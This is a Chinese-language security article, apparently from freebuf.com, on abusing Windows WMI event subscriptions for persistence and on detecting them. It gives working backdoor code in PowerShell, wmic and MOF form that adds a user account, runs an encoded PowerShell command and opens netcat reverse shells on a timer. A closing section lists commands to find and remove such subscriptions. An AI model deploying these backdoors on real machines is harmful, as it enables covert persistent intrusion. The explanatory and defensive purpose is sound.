WMI攻击与安全防御 – 作者:dadadadudu

作者:夜影实验室(安全平台部)-Addddd

简介

WMI是一项Windows管理技术,其全称是Windows Management Instrumentation,即Windows管理规范。大多数基于Windows的软件依赖于此服务。因此有些黑客会针对WMI进行攻击。本文介绍了 WMI 的攻击和安全防御方法,以供大家交流讨论。

每个WMI 对象都是代表着获取各种操作系统信息与进行相关操作的类实例,以ROOT\CIMV2 作为默认的命名空间,CIM为数据库,并以WQL 查询语句用于查询 WMI 对象实例、类和命名空间。

WMI 的主要交互方式

1、Powershell(Get-WmiObject、Set-WmiInstance、Invoke-WmiMethod等)

例如:Get-WmiObject-Namespace “ROOT” -Class __NAMESPACE

2、Wmic

例如:wmic/NAMESPACE:”\\root\CIMV2″ PATH Win32_OperatingSystem

WMI事件

WMI事件会创建一个查询请求,请求中定义了我们需要执行的操作,一旦事件发生就会执行我们定义的操作,支持两种事件。

1、临时事件:要创建事件的进程处于活动状态,临时事件就会被激活(以当前权限运行)

例如:

# Query for new process events

$queryCreate = “SELECT * FROM __InstanceCreationEvent WITHIN 5” +

        “WHERE TargetInstance ISA ‘Win32_Process'”

# Create an Action

$CrateAction = {

        $name = $event.SourceEventArgs.NewEvent.TargetInstance.name

        write-host “Process $($name) was created.”

}

# Register WMI event

Register-WMIEvent -Query $queryCreate -Action $CrateAction

每打开一个新进程就会输出进程名称:

2.png

2、持久事件:事件存储在CIM数据库中,并且会一直处于活动状态,直到从数据库中删除(以system权限运行,且重启保持不变)

 

持久事件与后门

利用持久事件来做后门(创建需要管理员权限)需要三个部分。

1、事件过滤器(Filter):用来定义触发的条件,包括系统启动、特定程序执行、特定时间间隔等,存储在ROOT\subscription的实例__ EventFilter对象中,多数事件使用WQL WITHIN子句指定轮询间隔。

2、事件消费者(Consumer):用来指定要执行的具体操作,包括执行命令(CommandLineEventConsumer)、运行脚本(ActiveScriptEventConsumer)、添加日志条目(NTEventLogEventConsumer)或者发送邮件(SMTPEventConsumer)。

3、绑定机制:将过滤器绑定到消费者(FilterToConsumerBinding类)

 

后门实例

不管是powershell,wmic还是mof文件,都由三个部分组成。

Powershell实现

filterName = ‘Filtertest’

$consumerName = ‘Consumertest’

$exePath = ‘powershell -ep bypass -command “net user xxx xxx /add”’

$exePath2 = ‘powershell -ep bypass -enc dwBoAG8AYQBtAGkA’

$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE

TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'”

//定义Filter

$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace “root\subscription” -Arguments @{Name=$filterName;EventNameSpace=”root\cimv2″;QueryLanguage=”WQL”;Query=$Query} -ErrorAction Stop

//定义Consumer

$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace “root\subscription” -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}

//绑定

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “root\subscription” -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

效果:每60秒运行一次powershell命令。

 

Wmic实现

wmic /NAMESPACE:”\\root\subscription” PATH __EventFilter CREATE, EventNameSpace=”root\cimv2″,QueryLanguage=”WQL”, Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'”

wmic /NAMESPACE:”\\root\subscription” PATH CommandLineEventConsumer CREATE, ExecutablePath=”C:\Users\admin\Desktop\nc.exe”,CommandLineTemplate=”C:\Users\admin\Desktop\nc.exe 127.0.0.1 443 – e c:\windows\system32\cmd.exe”

wmic /NAMESPACE:”\\root\subscription” PATH __FilterToConsumerBinding CREATE Filter=”__EventFilter.Name=\”Filtertest\””, Consumer=”CommandLineEventConsumer.Name=\”Consumertest\””

5.png

效果:定时触发反弹

 

现如今,WMI攻击在很多APT行为中也经常被利用:

6.png

 

Mof实现

#!vb

#pragma namespace (“\\\\.\\root\\subscription”)

instance of __EventFilter as $FILTER

{

       Name = “FilterTEST”;

       EventNamespace = “root\\cimv2”;

 Query = “Select * From __InstanceModificationEvent “

   “Where TargetInstance Isa \”Win32_LocalTime\” “

   “And TargetInstance.Minute = 30 “;

       QueryLanguage = “WQL”;

};

instance of ActiveScriptEventConsumer as $CONSUMER

{

       Name = “ConsumerTEST”;

       ScriptingEngine = “VBScript”;

       ScriptText =

            “Set objShell = CreateObject(\”WScript.Shell\”)\n”

      “objShell.Run \”C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 127.0.0.1 443 -e C:\\Windows\\system32\\cmd.exe\”\n”;

};

instance of __FilterToConsumerBinding

{

       Consumer = $CONSUMER ;

       Filter = $FILTER ;

};

执行命令:

Mofcomp xx.mof

 

效果:每30分钟触发反弹。

 

也可以直接执行vbs脚本文件:

instance ofActiveScriptEventConsumer as $Cons

{

    Name = “ASEC”;

    ScriptingEngine = “VBScript”;

    ScriptFileName = “c:\\asec.vbs”;

};

 

安全防御

查看:

#List EventFilters

Get-WMIObject-Namespace root\Subscription -Class __EventFilter

 

#List EventConsumers

Get-WMIObject-Namespace root\Subscription -Class __EventConsumer

 

#List EventBindings

Get-WMIObject-Namespace root\Subscription -Class __FilterToConsumerBinding

 

删除:

#Filter

Get-WMIObject-Namespace root\Subscription -Class __EventFilter -Filter”Name=’BotFilter82′” | Remove-WmiObject -Verbose

 

#Consumer

Get-WMIObject-Namespace root\Subscription -Class CommandLineEventConsumer -Filter”Name=’BotConsumer23′” | Remove-WmiObject -Verbose

 

#Binding

Get-WMIObject-Namespace root\Subscription -Class __FilterToConsumerBinding -Filter”__Path LIKE ‘%BotFilter82%'” | Remove-WmiObject -Verbose

来源:freebuf.com 2020-06-27 12:41:05 by: dadadadudu

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论